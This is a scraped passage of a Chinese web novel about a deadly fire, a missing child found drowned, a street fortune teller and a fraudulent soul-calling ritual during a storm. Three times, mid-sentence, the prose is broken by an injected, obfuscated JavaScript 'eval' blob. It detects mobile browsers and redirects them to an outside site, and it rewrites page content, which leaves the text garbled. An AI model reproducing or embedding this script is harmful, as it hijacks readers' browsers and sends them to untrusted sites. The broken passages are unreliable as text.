他想到下午汪明远相邀的时候,自己千万般顾虑,再结合对方刚才的恭维之言,老脸一下子变得通红,好在手里的酒足够烈,足够上头,因此让他轻易地将窘迫隐藏了下去。 “明远啊,你真是客气了,这些都是我应该做的!你本来也没有做错什么,都是他们嫉妒你! “因为你足够优秀,足够上进,你的能力足够把他们踩在脚下,所以他们怕了。正所谓,欲加之罪,何患无辞!” 喝酒的兴头正盛,平时叫习惯了的“汪老师”也巧妙而不自觉地换成了“明远”。 那晚,两人不知道喝了多久,纷纷拼尽全力斗酒,都打算不醉不休。 喝着喝着,酒馆外突然传来一阵高过一阵的嘈杂。 “起火了!周婆子的院子起火了!” 那天晚上,那位同事见证了汪明远最狼狈最惨痛的一切。 汪明远失去了伉俪情深的妻子,孩子也在火灾当中下落不明。 那时候,他和汪明远两个人都喝得有些上头,他的情况还稍微好上一些,好歹能站得起身。 汪明远不知道是被恐惧和担心占满了思绪,还是当真喝得太多,听到周家院子起火的事后,已经完全站不住,像是一条蚯蚓,只能痛苦地在地上匍匐前进。 等到他搀扶着软成一滩烂泥的汪明远到达火灾现场的时候,大火烧光了所有可燃的东西,此刻已经完全熄灭。 四下一片死寂。 半个小时之前还矗立在此的院子,此刻已经被烧的面目全非,在围观的众人举着的火把以及手电筒中,只能看到被烧得漆黑一片、歪歪斜斜的残垣断壁。 “明远,你别太担心,万一呢,万一你老婆和孩子提前跑出来了呢。” 他虽然这样说着,但就算是旁边站着的五岁小孩子也知道,这个时候大家都在睡觉,这场大火来得快、也蹊跷,现场被烧成这副模样,任凭一只苍蝇也逃脱不出来,更何况是两个活生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16351011|179109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生的人? 他话音未落,汪明远被他搀扶着的手已经从他手臂间滑落,失去通身力气地倒在地上。 眼泪胡乱地沾了满脸,豆大的泪水一颗接着一颗地流淌进大火后的废墟之中,只恨不能用泪水提早将这场大火浇个干净。 汪明远一言不发,对他的话语充耳不闻,也对站在旁边的街坊四邻视若无睹,只用双肘撑在漆黑一片的地上,一点一点地往前挪动。 好似一个失了心的木偶,一边挪动,一边讷讷地低语:“别害怕,我来带你们出来……” 站在汪明远身后的街坊四邻没能听见他说了些什么,连此刻离他最近的同事也听不见他的话语。 众人只看到他一点一点地向前爬行,无声而坚定。 “汪老师,你别这样,多危险呐!” 人群中有人率先反应过来,这场大火才刚刚熄灭,到处都散落着高温之后的余烬,余温恨不得连这水泥地也要一起熔化。 距离汪明远最近的那位同事听了这话,当即仓皇向前,将正要往火场中爬去的汪明远一把拽起,拖向后方。 待到他将汪明远拖到远离火场的空旷水泥地上,凑近了,才清晰地听到对方的低声呢喃:“乖,你们不要害怕,我来了,我来救你们了……” 但是,天地不仁,它可以平等地热爱苍生,自然也可以随心所欲地折磨众人。 汪明远的执念不起作用,他的愿望也不被老天爷放在眼里。 妻子还是死了。 平素体贴入微的她,此刻变成一具焦黑的尸体,被烈火烧断的残垣断壁埋在最底下。 看不到她衣服的颜色,看不清她脸上的神色,一个鲜活的人此刻变成一堆焦灰,只剩下漆黑的颜色,将她和谐地融入到火灾之后的院子里,要是起了一场大风,她就能乘着这场风,烟消云散。 老天爷的“不仁”还远不止此。 火灾之后,警察迅速赶来勘察现场,但只在废墟当中找到了一个成年人的焦尸,哪怕翻遍了周家的院子,也唯独不见汪明远孩子的影子。 街坊四邻们倒也热心肠,有的人善意地认为那孩子一定“吉人自有天相”,肯定因缘巧合地逃出了火灾现场,此刻也一定是在附近的某个地方藏了起来。 有的人想得更多,他们看了近些天来登报的寻人启事,报纸上面说各个地方总有被杀千刀的人贩子拐走的孩子。 所以担心才从火灾现场逃出来的孩子又被某个杀千刀的人贩子拐跑了,他们像自己家的孩子丢了一样,在附近的每个角落,布下天罗地网一般地找人。 但是他们的希望都落空了。 三个月之后,关图县最冷的冬日里,连通了巢河的某个暗渠当中散发出阵阵恶臭。 起初,住在暗渠附近的人们只觉得是死老鼠,并没有放在心上,但是渐渐地,味道越来越浓烈,越来越刺鼻。 像是被人施下最恶毒的诅咒,恶臭散发的地方,但凡有人敢靠近,就能让那人从内心最深处感受到一种最原始的惧怕。 越来越不寻常,越来越蹊跷,有人报了警。 警察戴了简易的口罩,只能勉强阻挡住刺鼻的恶臭。 等到他们拨开了暗渠里的淤泥和水草,再拨开因居民们随意丢弃在里面而长期堆积的杂物,一具一米左右的尸体赫然出现在眼前。 那尸体因为长期浸泡在淤泥和污水里,此时已经呈现出巨人观的状态,自然看不出生前的模样。 尸体的双脚部分被淤泥覆盖着,脚上的鞋子已经不知道漂向何处。身躯被泥水覆盖,只能从黑色的淤泥之间,隐约看出一抹蓝色。 54.是飞机哦 “嗡——”天幕之上,一架平稳飞行的飞机正呼啸而过。 远远的,高高的,像一朵绣在穹顶之上的小花,没能给人一种威严的感觉,只是可爱,只是俏皮。 “看呐!飞机欸!是飞机哦!” 小女孩儿的双手被白色纱布缠了一圈又一圈,此刻她的双手被紧紧地固定住,丝毫动弹不得,但这也不妨碍她瞪大葡萄一般的双眼,露出满脸的意兴,声音软软的,示意一旁的男人看天上正翱翔的飞机。 “嗯,我看到了,是飞机。” 男人对看天上的飞机这种事情并不热衷,但是或许是被女孩儿热烈的嗓音所感染,在他自己都没能察觉到的时候,他扬起脑袋,看向辽阔的天幕。 天上那正发出吵闹的嗡嗡声的飞机,只变作苍蝇一般的大小,在一望无垠的蓝天当中,显得分外渺小,几乎快要不可见,只用嘈杂的声音揭示它的存在。 人人都说,站得更高,才能看得更远。 此刻天上那小小的物件儿也被放得那样高,是不是它也能看得更远了? 那它岂不是能看到关图县的他们正仰望着它? 或许,在某个遥远的地方,也有一个和他同名的人,此刻也在仰望着同一片蓝天,和他一样,同时都看到了这架苍蝇大小的飞机? 他站在连接着关图县东西两个城区的唯一一个桥梁上方,石桥之下,巢河的某个支流穿梭而过。 冬日正值枯水期,水位尚浅,所以并没有奔腾的水流声,只有小溪潺潺的微弱响声。 女孩儿的声音仍然像麻雀一样喳喳地在他耳畔萦绕,石桥之下也持续地传来流水潺潺的声音。 石桥的左右两岸,稀稀落落地支着几个小摊位,这是江湖骗子和游医方士的天堂。 “算命了,算命了!算不准不要钱,算不准我倒给你钱……” “看手相!看姻缘!看子嗣!看事业!看了就发财,看了就能生……” 男人从小长到大,从来都很清楚,所有的命数都是老天爷提前计划好了的,这些什么算命看手相都是骗术,所以这些污七糟八的骗子骗得了别人,却唯独骗不了他。 此时此刻,头顶上方,飞机的残影渐渐隐入远处的白墙红瓦当中,只留下一阵阵逐渐微弱的“嗡嗡”声。 他低头看了看探出脑袋打量着河面的小女孩儿。 “别看了,走吧。” 小女孩儿乖乖地跟在他身后,不知道他要往哪里走去。 突然,男人还没走上几步,就在左岸一个不起眼的摊位前停了下来。 那摊位十分简陋,只有一个歪斜着将坠不坠的木头桌子,木头脏得看不出本来的颜色。 破桌子旁边,一根枯黄的细竹子斜斜地插进泥土里,顶端一个锯齿状三角旗正随风飘摇。 跟别的摊位不同,桌子上并没有摆满不常见的奇怪玩意儿,例如狼头、犬牙、象牙、犀牛角……只有一沓黄色长条纸,一方砚台,一根笔。 桌上铺着一大块黄色的破布,上面画了一个硕大的八卦图,黄色碎布的边缘写了一些他看不懂的字体。 他家里没钱,辍学后只能在上午赶完鸭子和割完猪草之后,偷偷跟着村里的孩子去学堂,听一段时间的讲课。 那时候,他趁着学堂里的孩子们还没放学,教室里的老师还没看到,听得差不多了,就偷偷地从学堂里溜出来,否则学堂的老师们会管爹要钱。 没过多久,学堂就搬迁到很远的地方,他偷听完讲课后,来不及赶回家做猪食,慢慢地就不去那里了,以至于他现在只能认得一些基础的字。 “我要算命。” 男人走到那处摊位前,突然停了下来,对摊位后面的青灰色袍子老头说道。 身后的小女孩儿也跟着他停下,好奇地从他身后伸出脑袋,惶惶地张望面前陌生的老者。 “给谁算命?给你?还是给你女儿?”已是隆冬,这老头子也奇怪,拿了把折扇,也不嫌冷,装模作样地扇动着。 “生辰八字写下来。”老头子递过去一张黄色纸条和一根笔。 男人见了,右手慌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16370787|179109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忙攥住衣角,“我没念过书……而且不记得了。” 老头子长叹一声,摇了摇头,“不是我说你们这些当爹的,连自己孩子生辰都不记得,要是她妈妈在这儿,人家肯定记得住!” 老头儿一边无奈地撤回了纸条和笔,一边故作漫不经心地说:“下不为例啊,这次我就多费费心,曲折点,麻烦点,给你破例算上一次。但是得加钱!” “嗯。”男人微微点头,表情算不上诚恳。 “多少年生的知道吧?” “1986年。” 女孩儿蹲在摇摇欲坠的破烂木头桌子前,一脸好奇地盯着黄色旧布上的圆形图案。 那是自打她出生以来就没见过的东西,所以生出了十二万分的兴趣,以至于她压根没有注意到两个大人都说了些什么。 她想伸出双手,摸一摸那张黄色的布,一抬手才发现自己的双手都被厚实的白布缠绕着,动弹不得。 就在此时,男人和老头子已经半完成了交易,他将老头子写写划划了好半天的一张黄色纸条子拿过来,端详了片刻也搞不清楚。 他抬头看向对方,对方只低头看着桌上的砚台不说话,他立刻明白了,从衣服内兜里掏出一张钞票递过去。 老头子示意男人距离他近一些,而后才倾身附耳在他身侧,指着黄色纸条上歪曲的笔迹,“你女儿啊,命里缺水,得去有水的地方。但是你记住了,最近两年内不能让她走水路,不能坐船,不能游泳,不然要出事的!” 男人看老头子一脸严肃,本来心中的那点存疑也不复存在,听完了,忙肯定地点点头,将那黄色布条放入棉袄的口袋里。 “走了,我们回家。”他扭头看向摊子前出神的小女孩儿,温声道。 话音刚落,小女孩儿便感受到一双有力的大手将自己举了起来,那双手虽然急切,显得有几分蛮横,却很小心地避开她手上的伤口。 男人将小女孩儿搂抱在怀中,双脚踩在青石板路上,哒哒哒…… 他们就这样,一路走向远方。 55.招魂 男人抱着小女孩儿离开几分钟之后,一个裹了厚棉袄的大婶也从石桥另一岸小跑过来,几步就跑到老头子的摊位前。 她双手抱胸,恨不得将身上的袍子裹到最紧,紧到连一丝丝的冷风也钻不进去。 她一张嘴,白色的雾气就随着她开开合合的嘴巴飘散而出。 “黄大师,今天下午还有别的业务没?得不得空闲?” 黄大师歪倒在他的竹椅上,因为太过寒冷,还在上面铺了一层厚厚的褥子,跟他桌子上的黄色破布一样,脏得没法看。 听了女人的问话,他隐藏在黑色镜片后的眼珠子随即一转,然后再次打开手里的折扇,装模作样地扇起风来。 “今天下午?有啊,今天倒是有时间。你运气不错,正巧碰上我老头子今天得闲,明天后天就不一定了。你有什么事?” 大婶最是怕冷,生怕那老头子手里的扇子把冷风过渡到自己这边,连忙往旁边躲。 “是这样的,周家大院的那场火你记得吧?汪老师家的孩子那时候不是失踪了吗,今天早上找到了!” “汪明远家的?”黄大师吱嘎一声地从竹椅上站起来,不动声色地收了折扇,将黑色眼睛往下压,漏出他讶异的双眼。 这破扇子看着小又不顶用,扇出来的风可不小,刚才那几下给他冻得够呛。 “对的呀,在河边找到的。一个四五岁的小娃娃,在河底下的水沟子里面躺了三个月,怪可怜见的。 “警察说,估计是当天晚上自己跑了出去,大晚上看不清楚路,跌进了河里就出了事!汪老师还年轻,不懂这些事情,所以我们邻居几个想请你过去做个法事。” 老头听了这话,心想这单生意看来八成能成了,又躺回椅子里,攥着折扇的右手下意识地又要打开。 突然想到刚才那阵折磨人的寒凉,他缩了缩脖子,干脆将那碍眼的扇子直接扔到了竹椅后面。 “是要做法事的!你算是找对人了!还不能简单地随便做做。” 胖婶子听了这话,不知道脑袋里想起了些什么,眉眼间已经有些害怕,她迟疑地问道:“这是……什么意思?” “没什么别的意思,就是人啊要是死在了外面,又三四个月之后才被人发现,已经是最糟糕的情况。所以我得去招魂,不然那小娃娃的魂魄怕是要徘徊在河边,迟迟不愿意去投胎啊。” 老头子故作玄虚地说完,打量着眼前的女人,见她脸色已经变了,变得十分害怕,心头了然:这单生意没跑了。 “只是,招魂不是个简单的事情,颇费心力,一般人做不来。关图县里也只有老头子我年轻的时候跟着师父学了点皮毛。所以,这价格……” “价格好说,不会亏待你。”胖婶子听到只不过是价格的问题,悬着的心顿时放了下来。 暗渠一侧的河岸上,此刻正围满了观看这场法事的街坊四邻。 一滴滴的雨水从天空中倾落,有的滴进河流里,翻出一圈又一圈的涟漪,有的落在行人的身上,一瞬间就浸进他们穿着的厚重棉袄里面。 不知道是不是心理作用,还是今日实在太过寒冷,又或许是身上的棉袄沾了雨水的冷气,反正这会儿站着的胖婶子已经连着打了好几个喷嚏。 “黄大师,你可快点吧!一会儿要下雨了!”人群中,不知道哪个方向传来一声催促,紧接着就是其他人的连声附和。 “对啊,对啊,你看头顶上的天都黑了,全是乌云,不知道一会儿要下多大的雨。” “已经多少天不下雨了,今天做法事倒是下了,整得乌云密布的,怪吓人的。” “不止!我看这个天气,肯定还要打雷的。” 黄大师对四周的聒噪充耳不闻,他嘴皮子翻动,咿咿呀呀不知道念了什么咒语。 反正在场的没人能听懂,因而哪怕是他全然在胡扯,在场的也没有一个人能发现,并跳出来指责他。 他这辈子正是凭着这口胡诌的本领吃饭,才能糊弄了一个又一个苦主。 有时候遇到了同行,他也不害怕对方会拆穿他,毕竟都是看家本领,谁也不会外传给旁人,门派不同,分支不同,如此,随便找个理由也能搪塞过去。 况且,谁会这么没眼力见?正所谓,断人财路,如同杀人父母。 黄大师一只手提起让胖婶子提前准备好的一只公鸡,另一只手拿了一根竹杖,上面挂了些花花绿绿的纸条子,此刻正随着狂风翻卷。 他跳大神一般地围着一口简陋的棺材转,转了一圈又一圈,口中一直念念有词。 那棺材同一般的棺材尺寸不同,更短一些,只有一米出头,也更加窄小。 木头的原色漏在空气里,并没有上漆,想来是棺材的主人走得匆忙,家里人不曾预料到,所以还没来得及提前备下。 突然,蹦蹦跳跳围着棺材转悠的黄大师停了下来,他将左手的竹杖递给离他最近的一个人。空出左手后,双手捉住耷拉着脑袋的公鸡,将它头朝下,往地上提前准备好的一碗符水里浸。 那公鸡不知怎的,距离那碗符水越近,就越是扑腾得厉害,好像突然被注入了灵识。 他攥着那公鸡,勉强沾了三下水,好歹是做完了这一步骤,然后就将那绑缚了脚的公鸡随意扔在一旁。 之后,黄大师又咿咿呀呀地念了一大堆咒语,众人围在四周,屏息凝神,这回隐隐约约地倒能听清楚他说了些什么。 “汪舒,安城关图县人士,生于1986年8月15日,死于1990年11月24日,四方鬼神大人助她往生,去往极乐!招!” 黄大师高喊完毕,接着从矮几上拿起他的一对牛角卦,狠狠地摔在地上。 “啪!”两个牛角卦都是正面朝上,阳卦已出。 他再弯了身子,捡起地上散落的牛角,双手将其高高地捧在掌心里,再次狠狠往地上一掷。 “啪!”这次一只牛角朝上,一只牛角朝下,阴卦未出。 他做过许多场法事,招魂的次数也数不胜数,这样的情况也是常有的。 只不过捡起来,重新扔一次就好,只要扔出两个一阴一阳的卦象,合了阴阳相成的道理,就意味着招魂成功,他的任务也就完成了。 “啪!”牛角一只朝上,一只朝下。 捡起,重掷。 “啪!”一只朝上,一只朝下。 捡起,再重来。 “啪!”一上,一下。 本来滴滴答答的小雨已经变得迅猛,有些先前还凑在四周看法事的人,此时已经害怕打湿衣服回家挨骂,零零散散地离去了。 头顶的乌云已全部聚拢到了一堆,阴沉着脸色,从天上高傲地俯视苍生,睥睨着人世间的不堪和龌龊。 黄大师的老腰不知道弯了几次,他都五十多岁了,可经不起如此折腾。 今天这场法事也太过邪门,开了个好头,可谓是十分顺利,那阳卦一扔就扔了出来,本来再多扔几次,扔个阴卦,凑齐了就是。 但他撑着这把老腰扔了不知道多少次,却始终扔不出阴卦来,到这会儿,他已经慌得满头大汗。 围观的众人也觉得蹊跷,议论纷纷。 “看到没?邪门了,阴卦扔不出来!”一个满脸胡子的矮胖男子,倾身小声对他身边的同伴说道。 他已经有意识地将他的音量放低,但是他气如洪钟,胖胖的肚子像个硕大的羊皮鼓,一下便将他的话放大并扩散到众人耳朵里。 他那同伴倒是和他不同,瘦瘦小小,此刻听了这话,已经是满脸惊恐。 “莫非,莫非是有什么冤情?不然你看,人家大师都扔了多少次了,阴卦怎么都扔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16376569|179109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不出来!” 同伴矮小,没有硕大的肚子可以当做羊皮鼓用,但是他声调尖细,那几句话像是二胡高昂的调子,一下子就能扎进空气里。 黄大师听在耳朵里,弯腰捡牛角的动作一顿,再次熟练地捡起,他抻了抻他宽大黄袍的袖子,打算再扔上最后一次。 “去去去,一边待着去!懂又不懂,净说瞎话!” 说完,两只牛角再次从他手里以一个抛物线的轨迹,重重地砸在水泥地面上。 “啪!” 一道刺眼的光芒劈碎冷冽的空气,一刹那间,那煞白的亮光又被粉碎成一片又一片,如同碎裂的镜子,映照着众生百象,让所有的真相和丑陋逃无可逃。 众人纷纷前倾,忍着寒冷与惧怕,脑袋挤着脑袋,借着闪电的亮光,都往最中间的地方探看。 再一次,牛角一只朝上,一只朝下。 阴卦不出。 “轰隆隆——”短暂的闪电之后,便是雷声的恣意轰鸣。 大家被雷声的张狂吓得纷纷捂住耳朵。 这法事好歹是不能再看了。 众人惊惧慌忙当中,却没有看到一直守在棺材旁边的汪明远,此时他已被吓得一脸惨白,如同惊弓之鸟。 短短几分钟,街坊四邻们已经走了一大半。 被吓得有些呆傻的汪明远讷讷地,他木然张大双眼,抬头看天。 他的瞳孔里,倒影出一道道紫色的闪电,如同一条条带着倒刺的鞭子,越来越近,鞭子中积蓄的力量越来越大,拼尽了全力地向他抽来。 “啊——” 汪明远瘫坐在地,颤抖着双手撑在地上,任凭污泥和雨水裹了满手。 他不知道看到了些什么东西,只觉得双脚和身子发软,只有两只手尚有几分力气。 背后的河流突然涨起了水,奔腾向下的激流拍在两岸的青石板上,响声震天,势必要和这场惊雷较个高低。 汪明远用双手撑着身体,躲避着好像近在眼前的电闪雷鸣,恍惚之中,紫色的闪电鞭子已经再次蓄势待发,要将他的□□连同他的贪婪、欲望、丑陋抽得灰飞烟灭。 他步步后退,双手的掌心不知何时已被碎石沙粒刺破,鲜血混入瓢泼大雨中,被稀释成一丝丝的红色,混合着污泥又变成褐色,很快就流入河流中消失不见。 不知何时,在他没能察觉到的时候,他已经退到河岸边,只剩下最后一步,他就要同棺材里的这孩子一样,被“河神”卷走。 紫色的鞭子狠狠往前一挥,汪明远肝胆俱裂地顺势往后退。 “啊——” “汪老师,你怎么了?快起来!”第一声惊雷响起就已经消失不见的黄大师,在千钧一发的时候,不知从哪个角落窜了出来。 “你怎么了?汪老师?”胖婶子也从屋檐下钻进大雨中,疾步跑到河岸边,和黄大师一齐拉住汪明远。 汪明远任由两人将自己拉起来,一左一右搀扶着,三个人东倒西歪地走到了屋檐底下。 黄大师和胖婶子使出了吃奶的劲儿,因为汪明远就像个散了力气的尸体,像是一滩烂泥,一点不用力气。 “鞋!鞋!我看到了鞋子!”他失了心智一般,右手颤颤巍巍地伸出来,指着河水的中央。 此时,河水又急又浑浊,夜色朦胧,漆黑一片,哪里还看得到什么鞋? “你的鞋在你脚上穿着呢,没有丢!”胖大婶会错了意,拔高音量,指着汪明远的鞋子,低头冲他喊道。 “不是我的鞋,是我女儿的……她出事前我才给她买的那双新鞋……” “有吗?我们两个都没看到。”黄大师顺着他手指指着的方向敷衍地看了一眼,然后浑不在意地安慰他,“等雨停了,水位低了再找找看,说不定就能找到了——哎,汪老师,你怎么了!”